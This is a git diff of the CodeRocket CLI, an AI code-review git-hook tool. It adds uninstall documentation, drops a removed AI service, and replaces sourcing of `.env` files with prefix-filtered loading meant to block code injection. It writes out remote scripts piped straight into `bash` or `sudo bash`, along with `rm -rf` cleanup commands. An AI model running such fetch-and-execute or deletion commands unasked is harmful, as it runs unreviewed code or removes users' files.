+### 搜索模式
+1. **自动搜索模式**:扫描常见项目目录
+ - `~/Projects`, `~/projects`, `~/workspace`, `~/work`
+ - `~/code`, `~/src`, `~/git`, `~/repos`
+ - `~/Documents/Projects`, `~/Desktop`, `~/Downloads`
+ - 支持用户自定义搜索目录
+
+2. **手动指定模式**:精确控制清理范围
+ - 手动输入项目路径
+ - 支持多个项目路径
+ - 自动验证项目有效性
+
+### 清理选项
+1. **🚀 批量清理**:一次性处理所有项目
+2. **🎯 逐个选择**:为每个项目单独确认
+3. **💾 备份后清理**:清理前自动备份所有 hooks
+4. **⏭️ 跳过清理**:保留项目 hooks 不变
+
+### 安全机制
+- **智能识别**:只清理包含 CodeRocket 标识的 hooks
+- **备份保护**:创建 `.git/hooks.backup.coderocket.*` 备份
+- **权限检查**:自动处理权限问题
+- **错误恢复**:支持部分失败后的手动处理
+
+## 📝 使用选项
+
+### 帮助信息
+```bash
+./uninstall.sh --help
+```
+
+### 可用选项
+- `--help, -h` - 显示帮助信息
+- `--force` - 强制卸载,跳过确认
+
+## ⚠️ 注意事项
+
+1. **不可逆操作**:卸载操作无法撤销,请确认后再执行
+2. **备份重要数据**:如有自定义配置,请提前备份
+3. **🆕 智能项目处理**:增强的项目扫描和多种清理模式
+4. **🆕 自动备份保护**:清理项目 hooks 前会自动创建备份
+5. **权限要求**:删除全局命令可能需要 sudo 权限
+6. **Shell 重启**:卸载后需要重新打开终端或重新加载配置
+
+### 🆕 增强功能使用建议
+
+- **首次使用**:建议选择 "备份后清理" 模式确保安全
+- **大量项目**:使用 "自动搜索" + "批量清理" 提高效率
+- **重要项目**:使用 "逐个选择" 模式谨慎处理
+- **特定项目**:使用 "手动指定" 模式精确控制
+- **备份恢复**:如需恢复,可从 `.git/hooks.backup.coderocket.*` 目录恢复
+
+## 🔄 重新安装
+
+如需重新安装 CodeRocket CLI:
+
+```bash
+curl -fsSL https://raw.githubusercontent.com/im47cn/coderocket-cli/main/install.sh | bash
+```
+
+## 🆘 故障排除
+
+### 权限问题
+如果遇到权限错误:
+```bash
+# 使用 sudo 运行卸载脚本
+sudo bash uninstall.sh
+```
+
+### 部分卸载失败
+如果某些组件卸载失败,可以手动清理:
+```bash
+# 手动删除安装目录
+rm -rf ~/.coderocket
+
+# 手动删除全局命令
+sudo rm -f /usr/local/bin/coderocket /usr/local/bin/codereview-cli /usr/local/bin/cr
+
+# 手动清理 PATH 配置
+# 编辑 ~/.bashrc 或 ~/.zshrc,删除相关行
+```
+
+### 配置恢复
+如果需要恢复配置文件:
+```bash
+# 查找备份文件
+ls ~/.bashrc.backup.* ~/.zshrc.backup.*
+
+# 恢复备份
+cp ~/.bashrc.backup.YYYYMMDD_HHMMSS ~/.bashrc
+```
+
+## 📞 支持
+
+如果在卸载过程中遇到问题:
+
+1. 查看错误信息和日志
+2. 检查 [GitHub Issues](https://github.com/im47cn/coderocket-cli/issues)
+3. 创建新的问题报告
+
+---
+
+**感谢使用 CodeRocket CLI!** 🚀
diff --git a/docs/VERSION_MANAGEMENT_SUMMARY.md b/docs/VERSION_MANAGEMENT_SUMMARY.md
index 2af2f2d..1a5981d 100644
--- a/docs/VERSION_MANAGEMENT_SUMMARY.md
+++ b/docs/VERSION_MANAGEMENT_SUMMARY.md
@@ -10,7 +10,7 @@
- 影响:版本更新时需要手动修改多处
2. **API URL 中的版本号硬编码** ⚠️
- - `lib/opencode-service.sh`:`DEFAULT_OPENCODE_API_URL="https://api.opencode.com/v1"`
+
- `lib/claudecode-service.sh`:`DEFAULT_CLAUDECODE_API_URL="https://api.claudecode.com/v1"`
- `lib/claudecode-service.sh`:`anthropic-version: 2023-06-01`
- 影响:API版本升级时需要修改代码
@@ -49,7 +49,7 @@
- **提供获取函数**
**支持的API配置:**
-- OpenCode API: `https://api.opencode.com/v1`
+
- ClaudeCode API: `https://api.claudecode.com/v1`
- Anthropic Version: `2023-06-01`
- GitLab API: `https://gitlab.com/api/v4`
@@ -68,11 +68,11 @@ echo "CodeRocket v$(get_version)"
#### 服务模块修复
```bash
# 修复前
-DEFAULT_OPENCODE_API_URL="https://api.opencode.com/v1"
+DEFAULT_CLAUDECODE_API_URL="https://api.claudecode.com/v1"
# 修复后
-get_default_opencode_api_url() {
- get_opencode_api_url
+get_default_claudecode_api_url() {
+ get_claudecode_api_url
}
```
@@ -133,7 +133,7 @@ git tag v1.1.0
### API版本自定义
```bash
# 环境变量方式
-export OPENCODE_API_VERSION="v2"
+export CLAUDECODE_API_VERSION="v2"
export CLAUDECODE_API_BASE="https://custom.api.com"
# 验证配置
diff --git a/githooks/post-commit b/githooks/post-commit
index dcba955..0b684dd 100755
--- a/githooks/post-commit
+++ b/githooks/post-commit
@@ -21,7 +21,7 @@ if [ -f "$REPO_ROOT/.env" ]; then
[[ -z $key ]] && continue
# 只加载AI和GitLab相关的环境变量
- if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|OPENCODE_|CLAUDECODE_) ]]; then
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_) ]]; then
export "$key=$value"
fi
done < "$REPO_ROOT/.env" 2>/dev/null
@@ -33,7 +33,7 @@ if [ -f "$HOME/.coderocket/env" ]; then
[[ $key =~ ^[[:space:]]*# ]] && continue
[[ -z $key ]] && continue
- if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|OPENCODE_|CLAUDECODE_) ]]; then
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_) ]]; then
export "$key=$value"
fi
done < "$HOME/.coderocket/env" 2>/dev/null
@@ -41,7 +41,7 @@ elif [ -f "$HOME/.codereview-cli/env" ]; then # backward-compat (remove in nex
while IFS='=' read -r key value; do
[[ $key =~ ^[[:space:]]*# ]] && continue
[[ -z $key ]] && continue
- if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|OPENCODE_|CLAUDECODE_) ]]; then
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_) ]]; then
export "$key=$value"
fi
done < "$HOME/.codereview-cli/env" 2>/dev/null
diff --git a/githooks/pre-commit b/githooks/pre-commit
index 7c96ca7..45a9658 100755
--- a/githooks/pre-commit
+++ b/githooks/pre-commit
@@ -21,7 +21,7 @@ if [ -f "$REPO_ROOT/.env" ]; then
[[ -z $key ]] && continue
# 只加载AI和GitLab相关的环境变量
- if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|OPENCODE_|CLAUDECODE_|REVIEW_) ]]; then
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_|REVIEW_) ]]; then
export "$key=$value"
fi
done < "$REPO_ROOT/.env" 2>/dev/null
@@ -33,7 +33,7 @@ if [ -f "$HOME/.coderocket/env" ]; then
[[ $key =~ ^[[:space:]]*# ]] && continue
[[ -z $key ]] && continue
- if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|OPENCODE_|CLAUDECODE_|REVIEW_) ]]; then
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_|REVIEW_) ]]; then
export "$key=$value"
fi
done < "$HOME/.coderocket/env" 2>/dev/null
diff --git a/githooks/pre-push b/githooks/pre-push
index d20aeb6..b4caf3e 100755
--- a/githooks/pre-push
+++ b/githooks/pre-push
@@ -22,7 +22,7 @@ if [ -f "$REPO_ROOT/.env" ]; then
[[ -z $key ]] && continue
# 只加载AI和GitLab相关的环境变量
- if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|OPENCODE_|CLAUDECODE_) ]]; then
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_) ]]; then
export "$key=$value"
fi
done < "$REPO_ROOT/.env" 2>/dev/null
@@ -34,7 +34,7 @@ if [ -f "$HOME/.coderocket/env" ]; then
[[ $key =~ ^[[:space:]]*# ]] && continue
[[ -z $key ]] && continue
- if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|OPENCODE_|CLAUDECODE_) ]]; then
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_) ]]; then
export "$key=$value"
fi
done < "$HOME/.coderocket/env" 2>/dev/null
@@ -42,7 +42,7 @@ elif [ -f "$HOME/.codereview-cli/env" ]; then # backward-compat (remove in nex
while IFS='=' read -r key value; do
[[ $key =~ ^[[:space:]]*# ]] && continue
[[ -z $key ]] && continue
- if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|OPENCODE_|CLAUDECODE_) ]]; then
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_) ]]; then
export "$key=$value"
fi
done < "$HOME/.codereview-cli/env" 2>/dev/null
diff --git a/install-hooks.sh b/install-hooks.sh
index 6aff52c..8364735 100755
--- a/install-hooks.sh
+++ b/install-hooks.sh
@@ -20,6 +20,28 @@ fi
REPO_ROOT=$(git rev-parse --show-toplevel)
echo "仓库根目录: $REPO_ROOT"
+# 安全地加载环境变量的函数
+# 参数: $1 - 环境变量文件路径
+safe_load_env() {
+ local env_file="$1"
+ if [ -f "$env_file" ]; then
+ while read -r line || [ -n "$line" ]; do
+ # 跳过注释和空行
+ [[ $line =~ ^[[:space:]]*# ]] && continue
+ [[ -z $line ]] && continue
+
+ # 分割键值对
+ local key="${line%%=*}"
+ local value="${line#*=}"
+
+ # 只加载特定前缀的环境变量,防止代码注入
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_|REVIEW_) ]]; then
+ export "$key=$value"
+ fi
+ done < "$env_file" 2>/dev/null
+ fi
+}
+
# 获取配置值的函数
get_config_value() {
local key=$1
@@ -30,11 +52,11 @@ get_config_value() {
if [ ! -z "${!key}" ]; then
value="${!key}"
elif [ -f "$REPO_ROOT/.ai-config" ]; then
- value=$(grep "^$key=" "$REPO_ROOT/.ai-config" 2>/dev/null | cut -d'=' -f2)
+ value=$(grep "^$key=" "$REPO_ROOT/.ai-config" 2>/dev/null | sed "s/^$key=//")
elif [ -f "$HOME/.coderocket/ai-config" ]; then
- value=$(grep "^$key=" "$HOME/.coderocket/ai-config" 2>/dev/null | cut -d'=' -f2)
+ value=$(grep "^$key=" "$HOME/.coderocket/ai-config" 2>/dev/null | sed "s/^$key=//")
elif [ -f "$REPO_ROOT/.env" ]; then
- value=$(grep "^$key=" "$REPO_ROOT/.env" 2>/dev/null | cut -d'=' -f2)
+ value=$(grep "^$key=" "$REPO_ROOT/.env" 2>/dev/null | sed "s/^$key=//")
fi
if [ -z "$value" ]; then
@@ -82,9 +104,22 @@ if [ -f "$HOME/.profile" ]; then
source "$HOME/.profile" 2>/dev/null
fi
-# 尝试从项目环境文件加载
+# 尝试从项目环境文件安全加载
if [ -f "$REPO_ROOT/.env" ]; then
- source "$REPO_ROOT/.env" 2>/dev/null
+ while read -r line || [ -n "$line" ]; do
+ # 跳过注释和空行
+ [[ \$line =~ ^[[:space:]]*# ]] && continue
+ [[ -z \$line ]] && continue
+
+ # 分割键值对
+ local key="\${line%%=*}"
+ local value="\${line#*=}"
+
+ # 只加载特定前缀的环境变量,防止代码注入
+ if [[ \$key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_|REVIEW_) ]]; then
+ export "\$key=\$value"
+ fi
+ done < "\$REPO_ROOT/.env" 2>/dev/null
fi
# 查找 pre-commit 脚本
@@ -131,9 +166,22 @@ if [ -f "$HOME/.profile" ]; then
source "$HOME/.profile" 2>/dev/null
fi
-# 尝试从项目环境文件加载
+# 尝试从项目环境文件安全加载
if [ -f "$REPO_ROOT/.env" ]; then
- source "$REPO_ROOT/.env" 2>/dev/null
+ while read -r line || [ -n "$line" ]; do
+ # 跳过注释和空行
+ [[ \$line =~ ^[[:space:]]*# ]] && continue
+ [[ -z \$line ]] && continue
+
+ # 分割键值对
+ local key="\${line%%=*}"
+ local value="\${line#*=}"
+
+ # 只加载特定前缀的环境变量,防止代码注入
+ if [[ \$key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_|REVIEW_) ]]; then
+ export "\$key=\$value"
+ fi
+ done < "\$REPO_ROOT/.env" 2>/dev/null
fi
# 查找 post-commit 脚本
@@ -182,9 +230,22 @@ if [ -f "$HOME/.profile" ]; then
source "$HOME/.profile" 2>/dev/null
fi
-# 尝试从项目环境文件加载
+# 尝试从项目环境文件安全加载
if [ -f "$REPO_ROOT/.env" ]; then
- source "$REPO_ROOT/.env" 2>/dev/null
+ while read -r line || [ -n "$line" ]; do
+ # 跳过注释和空行
+ [[ \$line =~ ^[[:space:]]*# ]] && continue
+ [[ -z \$line ]] && continue
+
+ # 分割键值对
+ local key="\${line%%=*}"
+ local value="\${line#*=}"
+
+ # 只加载特定前缀的环境变量,防止代码注入
+ if [[ \$key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_|REVIEW_) ]]; then
+ export "\$key=\$value"
+ fi
+ done < "\$REPO_ROOT/.env" 2>/dev/null
fi
# 查找 pre-push 脚本
@@ -241,14 +302,7 @@ else
echo "安装 Gemini CLI: npm install -g @google/gemini-cli"
fi
- if command -v opencode &> /dev/null; then
- echo -e "${GREEN}✓ OpenCode CLI 已安装${NC}"
- else
- echo -e "${YELLOW}⚠ 未检测到 OpenCode CLI${NC}"
- echo "安装 OpenCode CLI: npm install -g @opencode/cli"
- fi
-
- if command -v claudecode &> /dev/null; then
+ if command -v claude &> /dev/null; then
echo -e "${GREEN}✓ ClaudeCode CLI 已安装${NC}"
else
echo -e "${YELLOW}⚠ 未检测到 ClaudeCode CLI${NC}"
diff --git a/install.sh b/install.sh
index a573ce6..35ad50c 100755
--- a/install.sh
+++ b/install.sh
@@ -84,22 +84,27 @@ check_requirements() {
# 检查 Node.js
if ! command -v node &> /dev/null; then
echo -e "${YELLOW}⚠ Node.js 未安装${NC}"
- echo "将尝试安装 Node.js..."
-
- # 尝试使用不同的包管理器安装 Node.js
+ echo -e "${RED}✗ 请手动安装 Node.js${NC}"
+ echo "安全建议:请使用官方包管理器安装 Node.js:"
+ echo ""
if command -v brew &> /dev/null; then
- brew install node
+ echo " brew install node"
elif command -v apt-get &> /dev/null; then
- curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
- sudo apt-get install -y nodejs
+ echo " # 使用官方 APT 仓库安装:"
+ echo " curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg"
+ echo " echo 'deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_lts.x nodistro main' | sudo tee /etc/apt/sources.list.d/nodesource.list"
+ echo " sudo apt-get update && sudo apt-get install -y nodejs"
elif command -v yum &> /dev/null; then
- curl -fsSL https://rpm.nodesource.com/setup_lts.x | sudo bash -
- sudo yum install -y nodejs
+ echo " # 使用官方 YUM 仓库安装:"
+ echo " sudo yum install -y curl"
+ echo " curl -fsSL https://rpm.nodesource.com/setup_lts.x | sudo bash -"
+ echo " sudo yum install -y nodejs"
else
- echo -e "${RED}✗ 无法自动安装 Node.js${NC}"
- echo "请手动安装 Node.js: https://nodejs.org/"
- exit 1
+ echo " 访问 https://nodejs.org/ 下载适合您系统的安装包"
fi
+ echo ""
+ echo "安装完成后请重新运行此脚本。"
+ exit 1
fi
echo -e "${GREEN}✓ Node.js 已安装${NC}"
@@ -107,19 +112,21 @@ check_requirements() {
if ! command -v python3 &> /dev/null; then
echo -e "${YELLOW}⚠ Python3 未安装${NC}"
echo "Python3 是 GitLab API 调用所必需的"
-
- # 尝试安装 Python3
+ echo -e "${RED}✗ 请手动安装 Python3${NC}"
+ echo "推荐安装方式:"
+ echo ""
if command -v brew &> /dev/null; then
- brew install python3
+ echo " brew install python3"
elif command -v apt-get &> /dev/null; then
- sudo apt-get update && sudo apt-get install -y python3
+ echo " sudo apt-get update && sudo apt-get install -y python3"
elif command -v yum &> /dev/null; then
- sudo yum install -y python3
+ echo " sudo yum install -y python3"
else
- echo -e "${RED}✗ 无法自动安装 Python3${NC}"
- echo "请手动安装 Python3"
- exit 1
+ echo " 访问 https://www.python.org/downloads/ 下载适合您系统的Python3"
fi
+ echo ""
+ echo "安装完成后请重新运行此脚本。"
+ exit 1
fi
echo -e "${GREEN}✓ Python3 已安装${NC}"
}
@@ -141,16 +148,8 @@ install_ai_services() {
fi
fi
- # 安装 OpenCode CLI (可选)
- if command -v opencode &> /dev/null; then
- echo -e "${GREEN}✓ OpenCode CLI 已安装${NC}"
- else
- echo -e "${YELLOW}→ OpenCode CLI 未安装 (可选)${NC}"
- echo " 手动安装: npm install -g @opencode/cli"
- fi
-
# 安装 ClaudeCode CLI (可选)
- if command -v claudecode &> /dev/null; then
+ if command -v claude &> /dev/null; then
echo -e "${GREEN}✓ ClaudeCode CLI 已安装${NC}"
else
echo -e "${YELLOW}→ ClaudeCode CLI 未安装 (可选)${NC}"
@@ -185,10 +184,21 @@ install_to_directory() {
# 复制文件(排除.git目录)
rsync -av --exclude='.git' "$TEMP_DIR"/ "$INSTALL_DIR/"
- # 设置执行权限
- chmod +x "$INSTALL_DIR/install-hooks.sh"
- chmod +x "$INSTALL_DIR/githooks/post-commit"
- chmod +x "$INSTALL_DIR/githooks/pre-push"
+ # 设置必要的执行权限(只对已知的脚本文件)
+ local scripts=(
+ "$INSTALL_DIR/install-hooks.sh"
+ "$INSTALL_DIR/githooks/post-commit"
+ "$INSTALL_DIR/githooks/pre-push"
+ "$INSTALL_DIR/githooks/pre-commit"
+ "$INSTALL_DIR/bin/coderocket"
+ )
+
+ for script in "${scripts[@]}"; do
+ if [ -f "$script" ]; then
+ chmod +x "$script"
+ echo -e "${GREEN} ✓ 设置执行权限: $(basename "$script")${NC}"
+ fi
+ done
echo -e "${GREEN}✓ 安装完成${NC}"
}
@@ -296,8 +306,7 @@ $INSTALL_DIR/install-hooks.sh
else
echo "请选择要配置的AI服务:"
echo "1. Gemini - gemini config"
- echo "2. OpenCode - opencode config"
- echo "3. ClaudeCode - claudecode config"
+ echo "2. ClaudeCode - claude config"
fi
;;
"timing")
@@ -659,9 +668,18 @@ if [ -f "$HOME/.profile" ]; then
source "$HOME/.profile" 2>/dev/null
fi
-# 尝试从项目环境文件加载
+# 尝试从项目环境文件安全加载
if [ -f "$REPO_ROOT/.env" ]; then
- source "$REPO_ROOT/.env" 2>/dev/null
+ while IFS='=' read -r key value; do
+ # 跳过注释和空行
+ [[ $key =~ ^[[:space:]]*# ]] && continue
+ [[ -z $key ]] && continue
+
+ # 只加载特定前缀的环境变量,防止代码注入
+ if [[ $key =~ ^(AI_|GITLAB_|GEMINI_|CLAUDECODE_|REVIEW_) ]]; then
+ export "$key=$value"
+ fi
+ done < "$REPO_ROOT/.env" 2>/dev/null
fi
# 检查提示词文件是否存在(优先使用项目级配置)
@@ -794,11 +812,10 @@ configure_ai_services() {
# 备用配置方式
echo "请选择要配置的AI服务:"
echo "1. Gemini (默认)"
- echo "2. OpenCode"
- echo "3. ClaudeCode"
- echo "4. 跳过配置"
+ echo "2. ClaudeCode"
+ echo "3. 跳过配置"
- read -p "请选择 (1-4,默认为1): " choice
+ read -p "请选择 (1-3,默认为1): " choice
case ${choice:-1} in
1)
if command -v gemini &> /dev/null; then
@@ -817,18 +834,12 @@ configure_ai_services() {
fi
;;
2)
- echo "OpenCode 配置说明:"
- echo "1. 获取 OpenCode API 密钥"
- echo "2. 运行: opencode config"
- echo "3. 或设置环境变量: export OPENCODE_API_KEY='your_key'"
- ;;
- 3)
echo "ClaudeCode 配置说明:"
echo "1. 获取 ClaudeCode API 密钥"
- echo "2. 运行: claudecode config"
+ echo "2. 运行: claude config"
echo "3. 或设置环境变量: export CLAUDECODE_API_KEY='your_key'"
;;
- 4)
+ 3)
echo -e "${YELLOW}⚠ 跳过AI服务配置${NC}"
;;
*)
@@ -890,6 +901,10 @@ show_next_steps() {
echo "- VS Code 设置: $INSTALL_DIR/docs/VSCODE_SETUP.md"
echo "- 测试指南: $INSTALL_DIR/docs/VSCODE_TEST_GUIDE.md"
echo ""
+ echo -e "${BLUE}卸载说明:${NC}"
+ echo "- 如需卸载,请运行: bash $INSTALL_DIR/uninstall.sh"
+ echo "- 或者下载最新卸载脚本: curl -fsSL https://raw.githubusercontent.com/im47cn/coderocket-cli/main/uninstall.sh | bash"
+ echo ""
echo -e "${GREEN}现在你可以正常使用 git commit 和 git push 了!${NC}"
}
diff --git a/lib/ai-config.sh b/lib/ai-config.sh
index 857a9a6..8211240 100755
--- a/lib/ai-config.sh
+++ b/lib/ai-config.sh
@@ -16,7 +16,7 @@ GLOBAL_CONFIG="$HOME/.coderocket/ai-config"
ENV_FILE=".env"
# 支持的AI服务列表
-SUPPORTED_SERVICES=("gemini" "opencode" "claudecode")
+SUPPORTED_SERVICES=("gemini" "claudecode")
# 创建配置目录
#
@@ -193,14 +193,13 @@ show_config() {
# 功能: 验证指定AI服务的配置完整性
# 参数:
# $1 - service: AI服务名称 (必需)
-# 支持: "gemini", "opencode", "claudecode"
+# 支持: "gemini", "claudecode"
# 返回: 0=验证通过, 1=验证失败或不支持的服务
# 复杂度: O(1) - 常数时间检查
# 依赖: get_config_value()
# 调用者: main()
# 验证规则:
# - gemini: 需要 GEMINI_API_KEY
-# - opencode: 需要 OPENCODE_API_KEY, OPENCODE_API_URL
# - claudecode: 需要 CLAUDECODE_API_KEY, CLAUDECODE_API_URL
# 示例:
# validate_service_config "gemini"
@@ -218,18 +217,6 @@ validate_service_config() {
errors=$((errors + 1))
fi
;;
- "opencode")
- local api_key=$(get_config_value "OPENCODE_API_KEY")
- local api_url=$(get_config_value "OPENCODE_API_URL")
- if [ -z "$api_key" ]; then
- echo -e "${RED}❌ 缺少 OPENCODE_API_KEY${NC}"
- errors=$((errors + 1))
- fi
- if [ -z "$api_url" ]; then
- echo -e "${RED}❌ 缺少 OPENCODE_API_URL${NC}"
- errors=$((errors + 1))
- fi
- ;;
"claudecode")
local api_key=$(get_config_value "CLAUDECODE_API_KEY")
local api_url=$(get_config_value "CLAUDECODE_API_URL")
@@ -262,7 +249,7 @@ validate_service_config() {
# 功能: 通过交互式界面配置指定的AI服务
# 参数:
# $1 - service: AI服务名称 (必需)
-# 支持: "gemini", "opencode", "claudecode"
+# 支持: "gemini", "claudecode"
# $2 - scope: 配置范围 (可选, 默认: "project")
# - "project": 保存到项目配置
# - "global": 保存到全局配置
@@ -293,21 +280,6 @@ configure_service_interactive() {
model=${model:-"gemini-pro"}
set_config_value "GEMINI_MODEL" "$model" "$scope"
;;
- "opencode")
- read -sp "请输入 OpenCode API Key: " api_key
- echo # 换行
- if [ ! -z "$api_key" ]; then
- set_config_value "OPENCODE_API_KEY" "$api_key" "$scope"
- fi
-
- read -p "请输入 OpenCode API URL (默认: https://api.opencode.com/v1): " api_url
- api_url=${api_url:-"https://api.opencode.com/v1"}
- set_config_value "OPENCODE_API_URL" "$api_url" "$scope"
-
- read -p "请输入 OpenCode Model (默认: opencode-pro): " model
- model=${model:-"opencode-pro"}
- set_config_value "OPENCODE_MODEL" "$model" "$scope"
- ;;
"claudecode")
read -sp "请输入 ClaudeCode API Key: " api_key
echo # 换行
diff --git a/lib/ai-error-classifier.sh b/lib/ai-error-classifier.sh
index 92cef0e..86bd40d 100644
--- a/lib/ai-error-classifier.sh
+++ b/lib/ai-error-classifier.sh
@@ -72,9 +72,7 @@ classify_ai_error() {
"gemini")
classify_gemini_error "$error_output"
;;
- "opencode")
- classify_opencode_error "$error_output"
- ;;
+
"claudecode")
classify_claudecode_error "$error_output"
;;
@@ -118,30 +116,6 @@ classify_gemini_error() {
LAST_ERROR_TYPE="$ERROR_UNKNOWN"
}
-# 分类OpenCode CLI错误
-classify_opencode_error() {
- local error_output=$1
-
- # OpenCode特定的错误模式
- if echo "$error_output" | grep -qi "rate limit\|quota\|429"; then
- LAST_ERROR_TYPE="$ERROR_RATE_LIMIT"
- return 0
- fi
-
- if echo "$error_output" | grep -qi "unauthorized\|invalid token\|authentication failed"; then
- LAST_ERROR_TYPE="$ERROR_AUTH"
- return 0
- fi
-
- if echo "$error_output" | grep -qi "connection\|network\|timeout"; then
- LAST_ERROR_TYPE="$ERROR_NETWORK"
- return 0
- fi
-
- # 使用通用分类
- classify_generic_error "$error_output"
-}
-
# 分类ClaudeCode CLI错误
classify_claudecode_error() {
local error_output=$1
@@ -285,7 +259,7 @@ test_error_classifier() {
echo "认证错误分类: $result (期望: $ERROR_AUTH)"
# 测试网络错误
- result=$(classify_ai_error "opencode" 1 "Error: Connection timeout")
+ result=$(classify_ai_error "claudecode" 1 "Error: Connection timeout")
echo "网络错误分类: $result (期望: $ERROR_NETWORK)"
# 测试CLI未安装
diff --git a/lib/ai-service-manager.sh b/lib/ai-service-manager.sh
index 7d7f8ae..25d8a46 100755
--- a/lib/ai-service-manager.sh
+++ b/lib/ai-service-manager.sh
@@ -1,7 +1,7 @@
#!/bin/bash
# AI Service Manager - 多AI服务抽象层
-# 支持 Gemini、OpenCode、ClaudeCode 等多种AI服务
+# 支持 Gemini、ClaudeCode 等多种AI服务
# 颜色定义
RED='\033[0;31m'
@@ -17,7 +17,6 @@ DEFAULT_TIMEOUT=30
# 导入服务模块
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$SCRIPT_DIR/ai-config.sh"
-source "$SCRIPT_DIR/opencode-service.sh"
source "$SCRIPT_DIR/claudecode-service.sh"
source "$SCRIPT_DIR/ai-error-classifier.sh" 2>/dev/null
@@ -30,7 +29,7 @@ AI_RETRY_DELAY=${AI_RETRY_DELAY:-1}
#
# 功能: 按优先级获取当前配置的AI服务
# 参数: 无
-# 返回: AI服务名称 (gemini/opencode/claudecode)
+# 返回: AI服务名称 (gemini/claudecode)
# 复杂度: O(1) - 常数时间查找
# 依赖: grep, cut命令
# 调用者: smart_ai_call(), show_ai_service_status(), main()
@@ -46,10 +45,10 @@ get_ai_service() {
service="$AI_SERVICE"
# 2. 检查项目配置文件
elif [ -f ".ai-config" ]; then
- service=$(grep "^AI_SERVICE=" .ai-config 2>/dev/null | cut -d'=' -f2)
+ service=$(grep "^AI_SERVICE=" .ai-config 2>/dev/null | sed 's/^AI_SERVICE=//')
# 3. 检查全局配置文件
elif [ -f "$HOME/.coderocket/ai-config" ]; then
- service=$(grep "^AI_SERVICE=" "$HOME/.coderocket/ai-config" 2>/dev/null | cut -d'=' -f2)
+ service=$(grep "^AI_SERVICE=" "$HOME/.coderocket/ai-config" 2>/dev/null | sed 's/^AI_SERVICE=//')
fi
# 4. 使用默认值 (最低优先级)
@@ -65,7 +64,7 @@ get_ai_service() {
# 功能: 检查指定AI服务的CLI工具是否已安装
# 参数:
# $1 - service: AI服务名称 (必需)
-# 支持: "gemini", "opencode", "claudecode"
+# 支持: "gemini", "claudecode"
# 返回: 0=服务可用, 1=服务不可用或不支持
# 复杂度: O(1) - 常数时间命令检查
# 依赖: command命令
@@ -82,11 +81,8 @@ check_ai_service_available() {
"gemini")
command -v gemini &> /dev/null # 检查gemini命令是否存在
;;
- "opencode")
- command -v opencode &> /dev/null # 检查opencode命令是否存在
- ;;
"claudecode")
- command -v claudecode &> /dev/null # 检查claudecode命令是否存在
+ command -v claude &> /dev/null # 检查claude命令是否存在
;;
*)
echo -e "${RED}❌ 不支持的AI服务: $service${NC}" >&2
@@ -100,7 +96,7 @@ check_ai_service_available() {
# 功能: 获取指定AI服务的安装命令字符串
# 参数:
# $1 - service: AI服务名称 (必需)
-# 支持: "gemini", "opencode", "claudecode"
+# 支持: "gemini", "claudecode"
# 返回: 安装命令字符串,未知服务返回"未知服务"
# 复杂度: O(1) - 常数时间查找
# 依赖: 无
@@ -116,9 +112,6 @@ get_install_command() {
"gemini")
echo "npm install -g @google/gemini-cli" # Google Gemini CLI
;;
- "opencode")
- echo "npm install -g @opencode/cli" # OpenCode CLI
- ;;
"claudecode")
echo "npm install -g @anthropic-ai/claude-code" # ClaudeCode CLI
;;
@@ -133,7 +126,7 @@ get_install_command() {
# 功能: 获取指定AI服务的配置命令字符串
# 参数:
# $1 - service: AI服务名称 (必需)
-# 支持: "gemini", "opencode", "claudecode"
+# 支持: "gemini", "claudecode"
# 返回: 配置命令字符串,未知服务返回"未知服务"
# 复杂度: O(1) - 常数时间查找
# 依赖: 无
@@ -149,11 +142,9 @@ get_config_command() {
"gemini")
echo "gemini config" # Gemini配置命令
;;
- "opencode")
- echo "opencode config" # OpenCode配置命令
- ;;
+
"claudecode")
- echo "claudecode config" # ClaudeCode配置命令
+ echo "claude config" # ClaudeCode配置命令
;;
*)
echo "未知服务" # 不支持的服务
@@ -170,7 +161,7 @@ get_config_command() {
# $3 - additional_prompt: 附加提示词 (必需)
# 返回: 0=成功, 1=文件不存在或服务不支持
# 复杂度: O(n) - n为提示词文件大小
-# 依赖: cat, gemini命令, opencode_code_review(), claudecode_code_review()
+# 依赖: cat, gemini命令, claudecode_code_review()
# 调用者: Git hooks (post-commit)
# 流程: 验证文件 -> 根据服务类型调用相应函数
# 示例:
@@ -191,10 +182,6 @@ call_ai_for_review() {
# 使用管道将文件内容传递给gemini CLI
cat "$prompt_file" | gemini -p "$additional_prompt" -y
;;
- "opencode")
- # 调用OpenCode服务的代码审查函数
- opencode_code_review "$prompt_file" "$additional_prompt"
- ;;
"claudecode")
# 调用ClaudeCode服务的代码审查函数
claudecode_code_review "$prompt_file" "$additional_prompt"
@@ -258,10 +245,6 @@ intelligent_ai_review() {
result=$(cat "$prompt_file" | gemini -p "$additional_prompt" -y 2>&1)
exit_code=$?
;;
- "opencode")
- result=$(opencode_code_review "$prompt_file" "$additional_prompt" 2>&1)
- exit_code=$?
- ;;
"claudecode")
result=$(claudecode_code_review "$prompt_file" "$additional_prompt" 2>&1)
exit_code=$?
